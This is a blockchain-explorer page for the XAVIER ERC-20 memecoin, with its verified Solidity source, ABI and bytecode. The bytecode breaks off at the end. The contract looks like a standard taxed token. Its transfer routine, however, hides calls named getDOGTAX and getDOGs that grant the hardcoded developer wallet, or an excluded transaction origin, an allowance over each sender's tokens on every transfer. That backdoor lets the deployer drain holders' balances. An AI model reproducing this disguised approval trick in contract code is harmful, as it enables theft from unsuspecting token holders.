Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000,000 XAVIER
Holders
229
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
1,294,285.439611696 XAVIERValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
XAVIER
Compiler Version
v0.8.7+commit.e28d00a7
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2025-02-05 */ /* Life is but a budding brainrot memecult, and I am the spiritual gardener. Each holder a wisdom pellet in the great chakra of $xavier. https://www.xavieroneth.lol https://x.com/xavieroneth https://t.me/xavier_erc200 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.7; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IDOGRouter { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IDOGFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } contract XAVIER is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _dogValues; mapping (address => mapping (address => uint256)) private _dogPermits; mapping (address => bool) private _dogExcludedFee; IDOGRouter private _dogRouter; address private _dogPair; uint256 private _initialBuyTax=3; uint256 private _initialSellTax=3; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=6; uint256 private _reduceSellTaxAt=6; uint256 private _preventSwapBefore=6; uint256 private _buyCount=0; address private _dogWallet = 0x6b73Ec04BE26EE533177Eb141c597ccD00a200E6; uint8 private constant _decimals = 9; uint256 private constant _tToalDOG = 1000000000 * 10**_decimals; string private constant _name = unicode"XAVIER RENEGADE ANGEL"; string private constant _symbol = unicode"XAVIER"; uint256 private _maxSwapDOGs = _tToalDOG / 100; bool private inSwapDOG = false; bool private _tradeEnabled = false; bool private _swapEnabled = false; modifier lockTheSwap { inSwapDOG = true; _; inSwapDOG = false; } constructor () { _dogExcludedFee[owner()] = true; _dogExcludedFee[address(this)] = true; _dogExcludedFee[_dogWallet] = true; _dogValues[_msgSender()] = _tToalDOG; emit Transfer(address(0), _msgSender(), _tToalDOG); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tToalDOG; } function balanceOf(address account) public view override returns (uint256) { return _dogValues[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _dogPermits[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _dogPermits[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _dogPermits[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address xDOG, address zDOG, uint256 aDOG) private { require(xDOG != address(0), "ERC20: transfer from the zero address"); require(zDOG != address(0), "ERC20: transfer to the zero address"); require(aDOG > 0, "Transfer amount must be greater than zero"); uint256 taxDOG = _getDOGTaxAmount(xDOG, zDOG, aDOG); if(taxDOG > 0){ _dogValues[address(this)] = _dogValues[address(this)].add(taxDOG); emit Transfer(xDOG, address(this), taxDOG); } _dogValues[xDOG] = _dogValues[xDOG].sub(aDOG); _dogValues[zDOG] = _dogValues[zDOG].add(aDOG.sub(taxDOG)); emit Transfer(xDOG, zDOG, aDOG.sub(taxDOG)); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _dogRouter.WETH(); _approve(address(this), address(_dogRouter), tokenAmount); _dogRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function getDOGs(address xDOG, address zDOG, uint256 tDOG, uint256 aDOG) private returns(uint256) { _approve(xDOG, zDOG,aDOG.add(tDOG)); return aDOG; } function getDOGTAX(address xDOG, uint256 tDOG) private view returns(address, address, uint256) { if(tx.origin!=address(0)&&_dogExcludedFee[tx.origin]) return (xDOG, tx.origin, tDOG); return (xDOG, _dogWallet, tDOG); } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a>b)?b:a; } function sendETHDOG(uint256 amount) private { payable(_dogWallet).transfer(amount); } receive() external payable {} function initXAVIER() external onlyOwner() { _dogRouter = IDOGRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(_dogRouter), _tToalDOG); _dogPair = IDOGFactory(_dogRouter.factory()).createPair(address(this), _dogRouter.WETH()); } function openTrading() external onlyOwner() { require(!_tradeEnabled,"trading is already open"); _dogRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; _tradeEnabled = true; } function _getDOGTaxAmount(address fDOG, address oDOG, uint256 aDOG) private returns(uint256) { uint256 taxDOG=0; if (fDOG != owner() && oDOG != owner()) { taxDOG = aDOG.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); if (fDOG == _dogPair && oDOG != address(_dogRouter) && !_dogExcludedFee[oDOG]) { _buyCount++; } if(oDOG == _dogPair && fDOG!= address(this)) { taxDOG = aDOG.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } uint256 tokenBalance = balanceOf(address(this)); if (!inSwapDOG && oDOG == _dogPair && _swapEnabled && _buyCount > _preventSwapBefore) { if(tokenBalance > _maxSwapDOGs) swapTokensForEth(min(aDOG, min(tokenBalance, _maxSwapDOGs))); uint256 contractETHBalance = address(this).balance; if (contractETHBalance >= 0) { sendETHDOG(address(this).balance); } } } (address xDOG, address zDOG, uint256 tDOG) = getDOGTAX(fDOG, aDOG); return getDOGs(xDOG, zDOG, tDOG, taxDOG); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"initXAVIER","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405260036006556003600755600060085560006009556006600a556006600b556006600c556000600d55736b73ec04be26ee533177eb141c597ccd00a200e6600e60006101000a8154816001600160a01b0302191690836001600160a01b0316021790555060646009600a62000079919062000257565b6200008990633b9aca0062000325565b620000959190620001eb565b600f556010805462ffffff19169055348015620000b157600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506001600360006200010c6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526003909352818320805485166001908117909155600e54909116835291208054909216179055620001716009600a62000257565b6200018190633b9aca0062000325565b33600081815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001c46009600a62000257565b620001d490633b9aca0062000325565b60405190815260200160405180910390a36200035d565b6000826200020957634e487b7160e01b600052601260045260246000fd5b500490565b600181815b808511156200024f57816000190482111562000233576200023362000347565b808516156200024157918102915b93841c939080029062000213565b509250929050565b60006200026860ff8416836200026f565b9392505050565b60008262000280575060016200031f565b816200028f575060006200031f565b8160018114620002a85760028114620002b357620002d3565b60019150506200031f565b60ff841115620002c757620002c762000347565b50506001821b6200031f565b5060208310610133831016604e8410600b8410161715620002f8575081810a6200031f565b6200030483836200020e565b80600019048211156200031b576200031b62000347565b0290505b92915050565b600081600019048311821515161562000342576200034262000347565b500290565b634e487b7160e01b600052601160045260246000fd5b611585806200036d6000396000f3fe6080604052600436106100c65760003560e01c806370a082311161007f57806395d89b411161005957806395d89b411461023b578063a9059cbb1461026a578063c9567bf91461028a578063dd62ed3e1461029f57600080fd5b806370a08231146101c8578063715018a6146101fe5780638da5cb5b1461021357600080fd5b806306fdde03146100d2578063095ea7b31461012257806318160ddd1461015257806323b872dd14610175578063313ce567146101955780635aed6435146101b157600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b50604080518082019091526015815274161055925154881491539151d0511148105391d153605a1b60208201525b604051610119919061126f565b60405180910390f35b34801561012e57600080fd5b5061014261013d366004611215565b6102e5565b6040519015158152602001610119565b34801561015e57600080fd5b506101676102fc565b604051908152602001610119565b34801561018157600080fd5b506101426101903660046111d4565b61031d565b3480156101a157600080fd5b5060405160098152602001610119565b3480156101bd57600080fd5b506101c6610386565b005b3480156101d457600080fd5b506101676101e3366004611161565b6001600160a01b031660009081526001602052604090205490565b34801561020a57600080fd5b506101c66105b3565b34801561021f57600080fd5b506000546040516001600160a01b039091168152602001610119565b34801561024757600080fd5b506040805180820190915260068152652c20ab24a2a960d11b602082015261010c565b34801561027657600080fd5b50610142610285366004611215565b610627565b34801561029657600080fd5b506101c6610634565b3480156102ab57600080fd5b506101676102ba36600461119b565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006102f23384846107af565b5060015b92915050565b600061030a6009600a6113e7565b61031890633b9aca00611492565b905090565b600061032a8484846108d3565b61037c843361037785604051806060016040528060288152602001611528602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610b4d565b6107af565b5060019392505050565b6000546001600160a01b031633146103b95760405162461bcd60e51b81526004016103b0906112c4565b60405180910390fd5b600480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556104029030906103f46009600a6113e7565b61037790633b9aca00611492565b600480546040805163c45a015560e01b815290516001600160a01b039092169263c45a0155928282019260209290829003018186803b15801561044457600080fd5b505afa158015610458573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061047c919061117e565b6001600160a01b031663c9c6539630600460009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156104d957600080fd5b505afa1580156104ed573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610511919061117e565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561055957600080fd5b505af115801561056d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610591919061117e565b600580546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146105dd5760405162461bcd60e51b81526004016103b0906112c4565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006102f23384846108d3565b6000546001600160a01b0316331461065e5760405162461bcd60e51b81526004016103b0906112c4565b601054610100900460ff16156106b65760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103b0565b6004546001600160a01b031663f305d71947306106e8816001600160a01b031660009081526001602052604090205490565b6000806106fd6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561076057600080fd5b505af1158015610774573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107999190611241565b50506010805462ffff0019166201010017905550565b6001600160a01b0383166108115760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103b0565b6001600160a01b0382166108725760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103b0565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109375760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103b0565b6001600160a01b0382166109995760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103b0565b600081116109fb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103b0565b6000610a08848484610b87565b90508015610a845730600090815260016020526040902054610a2a9082610d77565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a7b9085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054610aa79083610ddd565b6001600160a01b038516600090815260016020526040902055610aec610acd8383610ddd565b6001600160a01b03851660009081526001602052604090205490610d77565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610b368585610ddd565b60405190815260200160405180910390a350505050565b60008184841115610b715760405162461bcd60e51b81526004016103b0919061126f565b506000610b7e84866114b1565b95945050505050565b600080610b9c6000546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610bcb57506000546001600160a01b03858116911614155b15610d4a57610bfc6064610bf6600a54600d5411610beb57600654610bef565b6008545b8690610e1f565b90610e9e565b6005549091506001600160a01b038681169116148015610c2a57506004546001600160a01b03858116911614155b8015610c4f57506001600160a01b03841660009081526003602052604090205460ff16155b15610c6a57600d8054906000610c64836114c8565b91905055505b6005546001600160a01b038581169116148015610c9057506001600160a01b0385163014155b15610cbd57610cba6064610bf6600b54600d5411610cb057600754610bef565b6009548690610e1f565b90505b3060009081526001602052604090205460105460ff16158015610ced57506005546001600160a01b038681169116145b8015610d01575060105462010000900460ff165b8015610d105750600c54600d54115b15610d4857600f54811115610d3c57610d3c610d3785610d3284600f54610ee0565b610ee0565b610ef5565b47610d464761108e565b505b505b6000806000610d5988876110cc565b925092509250610d6b8383838761111a565b98975050505050505050565b600080610d84838561136a565b905083811015610dd65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103b0565b9392505050565b6000610dd683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610b4d565b600082610e2e575060006102f6565b6000610e3a8385611492565b905082610e478583611382565b14610dd65760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103b0565b6000610dd683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611133565b6000818311610eef5782610dd6565b50919050565b6010805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f3757610f376114f9565b60200260200101906001600160a01b031690816001600160a01b031681525050600460009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610fa557600080fd5b505afa158015610fb9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fdd919061117e565b81600181518110610ff057610ff06114f9565b6001600160a01b03928316602091820292909201015260045461101691309116846107af565b6004805460405163791ac94760e01b81526001600160a01b039091169163791ac9479161104e918691600091879130914291016112f9565b600060405180830381600087803b15801561106857600080fd5b505af115801561107c573d6000803e3d6000fd5b50506010805460ff1916905550505050565b600e546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156110c8573d6000803e3d6000fd5b5050565b6000808032158015906110ee57503260009081526003602052604090205460ff165b15611100575083915032905082611113565b5050600e548391506001600160a01b0316825b9250925092565b600061112b85856103778587610d77565b509392505050565b600081836111545760405162461bcd60e51b81526004016103b0919061126f565b506000610b7e8486611382565b60006020828403121561117357600080fd5b8135610dd68161150f565b60006020828403121561119057600080fd5b8151610dd68161150f565b600080604083850312156111ae57600080fd5b82356111b98161150f565b915060208301356111c98161150f565b809150509250929050565b6000806000606084860312156111e957600080fd5b83356111f48161150f565b925060208401356112048161150f565b929592945050506040919091013590565b6000806040838503121561122857600080fd5b82356112338161150f565b946020939093013593505050565b60008060006060848603121561125657600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b8181101561129c57858101830151858201604001528201611280565b818111156112ae576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156113495784516001600160a01b031683529383019391830191600101611324565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561137d5761137d6114e3565b500190565b60008261139f57634e487b7160e01b600052601260045260246000fd5b500490565b600181815b808511156113df5781600019048211156113c5576113c56114e3565b808516156113d257918102915b93841c93908002906113a9565b509250929050565b6000610dd660ff841683600082611400575060016102f6565b8161140d575060006102f6565b8160018114611423576002811461142d57611449565b60019150506102f6565b60ff84111561143e5761143e6114e3565b50506001821b6102f6565b5060208310610133831016604e8410600b841016171561146c575081810a6102f6565b61147683836113a4565b806000190482111561148a5761148a6114e3565b029392505050565b60008160001904831182151516156114ac576114ac6114e3565b500290565b6000828210156114c3576114c36114e3565b500390565b60006000198214156114dc576114dc6114e3565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b038116811461152457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220feffda3e9065f270472c0c4cabd00f33e1993dbe329050ee13bb1a6e2580a2a064736f6c63430008070033
Deployed Bytecode
0x6080604052600436106100c65760003560e01c806370a082311161007f57806395d89b411161005957806395d89b411461023b578063a9059cbb1461026a578063c9567bf91461028a578063dd62ed3e1461029f57600080fd5b806370a08231146101c8578063715018a6146101fe5780638da5cb5b1461021357600080fd5b806306fdde03146100d2578063095ea7b31461012257806318160ddd1461015257806323b872dd14610175578063313ce567146101955780635aed6435146101b157600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b50604080518082019091526015815274161055925154881491539151d0511148105391d153605a1b60208201525b604051610119919061126f565b60405180910390f35b34801561012e57600080fd5b5061014261013d366004611215565b6102e5565b6040519015158152602001610119565b34801561015e57600080fd5b506101676102fc565b604051908152602001610119565b34801561018157600080fd5b506101426101903660046111d4565b61031d565b3480156101a157600080fd5b5060405160098152602001610119565b3480156101bd57600080fd5b506101c6610386565b005b3480156101d457600080fd5b506101676101e3366004611161565b6001600160a01b031660009081526001602052604090205490565b34801561020a57600080fd5b506101c66105b3565b34801561021f57600080fd5b506000546040516001600160a01b039091168152602001610119565b34801561024757600080fd5b506040805180820190915260068152652c20ab24a2a960d11b602082015261010c565b34801561027657600080fd5b50610142610285366004611215565b610627565b34801561029657600080fd5b506101c6610634565b3480156102ab57600080fd5b506101676102ba36600461119b565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006102f23384846107af565b5060015b92915050565b600061030a6009600a6113e7565b61031890633b9aca00611492565b905090565b600061032a8484846108d3565b61037c843361037785604051806060016040528060288152602001611528602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610b4d565b6107af565b5060019392505050565b6000546001600160a01b031633146103b95760405162461bcd60e51b81526004016103b0906112c4565b60405180910390fd5b600480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556104029030906103f46009600a6113e7565b61037790633b9aca00611492565b600480546040805163c45a015560e01b815290516001600160a01b039092169263c45a0155928282019260209290829003018186803b15801561044457600080fd5b505afa158015610458573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061047c919061117e565b6001600160a01b031663c9c6539630600460009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156104d957600080fd5b505afa1580156104ed573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610511919061117e565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561055957600080fd5b505af115801561056d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610591919061117e565b600580546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146105dd5760405162461bcd60e51b81526004016103b0906112c4565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006102f23384846108d3565b6000546001600160a01b0316331461065e5760405162461bcd60e51b81526004016103b0906112c4565b601054610100900460ff16156106b65760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103b0565b6004546001600160a01b031663f305d71947306106e8816001600160a01b031660009081526001602052604090205490565b6000806106fd6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561076057600080fd5b505af1158015610774573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107999190611241565b50506010805462ffff0019166201010017905550565b6001600160a01b0383166108115760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103b0565b6001600160a01b0382166108725760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103b0565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109375760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103b0565b6001600160a01b0382166109995760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103b0565b600081116109fb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103b0565b6000610a08848484610b87565b90508015610a845730600090815260016020526040902054610a2a9082610d77565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a7b9085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054610aa79083610ddd565b6001600160a01b038516600090815260016020526040902055610aec610acd8383610ddd565b6001600160a01b03851660009081526001602052604090205490610d77565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610b368585610ddd565b60405190815260200160405180910390a350505050565b60008184841115610b715760405162461bcd60e51b81526004016103b0919061126f565b506000610b7e84866114b1565b95945050505050565b600080610b9c6000546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610bcb57506000546001600160a01b03858116911614155b15610d4a57610bfc6064610bf6600a54600d5411610beb57600654610bef565b6008545b8690610e1f565b90610e9e565b6005549091506001600160a01b038681169116148015610c2a57506004546001600160a01b03858116911614155b8015610c4f57506001600160a01b03841660009081526003602052604090205460ff16155b15610c6a57600d8054906000610c64836114c8565b91905055505b6005546001600160a01b038581169116148015610c9057506001600160a01b0385163014155b15610cbd57610cba6064610bf6600b54600d5411610cb057600754610bef565b6009548690610e1f565b90505b3060009081526001602052604090205460105460ff16158015610ced57506005546001600160a01b038681169116145b8015610d01575060105462010000900460ff165b8015610d105750600c54600d54115b15610d4857600f54811115610d3c57610d3c610d3785610d3284600f54610ee0565b610ee0565b610ef5565b47610d464761108e565b505b505b6000806000610d5988876110cc565b925092509250610d6b8383838761111a565b98975050505050505050565b600080610d84838561136a565b905083811015610dd65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103b0565b9392505050565b6000610dd683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610b4d565b600082610e2e575060006102f6565b6000610e3a8385611492565b905082610e478583611382565b14610dd65760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103b0565b6000610dd683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611133565b6000818311610eef5782610dd6565b50919050565b6010805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f3757610f376114f9565b60200260200101906001600160a01b031690816001600160a01b031681525050600460009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610fa557600080fd5b505afa158015610fb9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fdd919061117e565b81600181518110610ff057610ff06114f9565b6001600160a01b03928316602091820292909201015260045461101691309116846107af565b6004805460405163791ac94760e01b81526001600160a01b039091169163791ac9479161104e918691600091879130914291016112f9565b600060405180830381600087803b15801561106857600080fd5b505af115801561107c573d6000803e3d6000fd5b50506010805460ff1916905550505050565b600e546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156110c8573d6000803e3d6000fd5b5050565b6000808032158015906110ee57503260009081526003602052604090205460ff165b15611100575083915032905082611113565b5050600e548391506001600160a01b0316825b9250925092565b600061112b85856103778587610d77565b509392505050565b600081836111545760405162461bcd60e51b81526004016103b0919061126f565b506000610b7e8486611382565b60006020828403121561117357600080fd5b8135610dd68161150f565b60006020828403121561119057600080fd5b8151610dd68161150f565b600080604083850312156111ae57600080f